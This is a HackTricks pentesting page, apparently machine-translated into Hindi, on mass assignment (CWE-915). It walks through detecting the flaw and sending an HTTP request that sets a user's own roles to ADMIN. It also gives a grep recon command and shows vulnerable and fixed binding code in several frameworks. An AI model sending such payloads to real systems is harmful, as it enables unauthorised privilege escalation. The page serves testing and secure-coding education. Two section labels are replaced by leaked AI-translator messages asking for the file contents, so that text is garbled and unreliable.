Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Mass assignment (a.k.a. insecure object binding) तब होता है जब कोई API/controller user-supplied JSON लेकर उसे server-side model/entity से सीधे bind कर देता है बिना fields की explicit allow-list के। यदि privileged properties जैसे roles, isAdmin, status, या ownership फ़ील्ड्स bindable हों, तो कोई भी authenticated user privileges escalate कर सकता है या protected state में छेड़छाड़ कर सकता है।

यह एक Broken Access Control issue (OWASP A01:2021) है जो अक्सर vertical privilege escalation को सक्षम बनाता है जैसे roles=ADMIN सेट करके। यह आमतौर पर उन frameworks को प्रभावित करता है जो request bodies को data models से automatic binding सपोर्ट करते हैं (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, etc.)।

1) Mass Assignment का पता लगाना

अपने स्वयं के प्रोफ़ाइल या समान संसाधनों को अपडेट करने वाले self-service endpoints ढूँढें:

  • PUT/PATCH /api/users/{id}
  • PATCH /me, PUT /profile
  • PUT /api/orders/{id}

Mass assignment के संकेत:

  • Response में server-managed फ़ील्ड्स दिखाई देती हैं (e.g., roles, status, isAdmin, permissions) भले ही आपने उन्हें भेजा ही न हो।
  • Client bundles में role names/IDs या ऐप भर में इस्तेमाल होने वाले अन्य privileged attribute names (admin, staff, moderator, internal flags) होते हैं — यह bindable schema का संकेत देता है।
  • Backend serializers अज्ञात फ़ील्ड्स को बिना reject किए स्वीकार कर लेते हैं।

त्वरित परीक्षण प्रवाह:

  1. केवल सुरक्षित फ़ील्ड्स के साथ सामान्य अपडेट करें और पूर्ण JSON प्रतिक्रिया संरचना का अवलोकन करें (this leaks the schema).
  2. बॉडी में एक crafted privileged फ़ील्ड शामिल करके अपडेट को दोहराएँ। यदि response परिवर्तन को बरकरार रखता है, तो संभवतः आपके पास Mass Assignment है।

Example baseline update revealing schema:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}

प्रतिक्रिया विशेषाधिकार प्राप्त फ़ील्ड का संकेत देती है:

http
HTTP/1.1 200 OK
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}

2) Exploitation – Role Escalation via Mass Assignment

एक बार जब आप bindable shape को जान लें, तो उसी request में privileged property जोड़ दें।

उदाहरण: अपनी खुद की user resource पर roles को ADMIN पर सेट करें:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}

If the response persists the role change, re-authenticate or refresh tokens/claims so the app issues an admin-context session and shows privileged UI/endpoints.

नोट्स

  • Role identifiers और shapes प्रायः client JS bundle या API docs से निकाले जाते हैं। "roles", "ADMIN", "STAFF", या numeric role IDs जैसे strings खोजें।
  • यदि tokens में claims (e.g., JWT roles) हों, तो नए privileges को लागू करने के लिए आमतौर पर logout/login या token refresh की आवश्यकता होती है।

3) Client Bundle Recon — Schema और Role IDs के लिए

  • role strings और model names के लिए minified JS bundles को inspect करें; source maps से DTO shapes का खुलासा हो सकता है।
  • roles, permissions, या feature flags के arrays/maps खोजें। समान property names और nesting के साथ payloads बनाएं।
  • Typical indicators: role name constants, dropdown option lists, validation schemas.

डाउनलोड किए गए bundle पर उपयोगी greps:

bash
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

4) फ्रेमवर्क जोखिम और सुरक्षित पैटर्न

भेद्यता तब उत्पन्न होती है जब फ्रेमवर्क req.body को सीधे स्थायी एंटिटीज़ पर बाइंड कर देते हैं। नीचे सामान्य गलतियाँ और न्यूनतम, सुरक्षित पैटर्न दिए गए हैं।

Node.js (Express + Mongoose)

कमज़ोर:

js
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});

कृपया उस फ़ाइल की सामग्री (src/pentesting-web/mass-assignment-cwe-915.md) यहाँ पेस्ट करें जिसे अनुवाद/फिक्स करना है।

js
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.

Ruby on Rails

असुरक्षित (no strong parameters):

rb
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end

ठीक करें (strong params + no privileged fields):

rb
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

असुरक्षित:

php
protected $guarded = []; // Everything mass-assignable (bad)

I don’t have the file contents. Please paste the contents of src/pentesting-web/mass-assignment-cwe-915.md that you want translated to Hindi, and I’ll translate it preserving all markdown/html/tags and not translating code, links, paths, or specified terms.

php
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin

Spring Boot (Jackson)

कमज़ोर पैटर्न:

java
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }

ठीक करें: केवल अनुमत फ़ील्ड वाले DTO पर मैप करें और authorization लागू करें:

java
record UserUpdateDTO(String firstName, String lastName, String nickName) {}

Then copy allowed fields from DTO to the entity server-side, and handle role changes only in admin-only handlers after RBAC checks. Use @JsonIgnore on privileged fields if necessary and reject unknown properties.

Go (encoding/json)

  • Ensure privileged fields use json:"-" and validate with a DTO struct that includes only allowed fields.
  • Consider decoder.DisallowUnknownFields() and post-bind validation of invariants (roles cannot change in self-service routes).

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें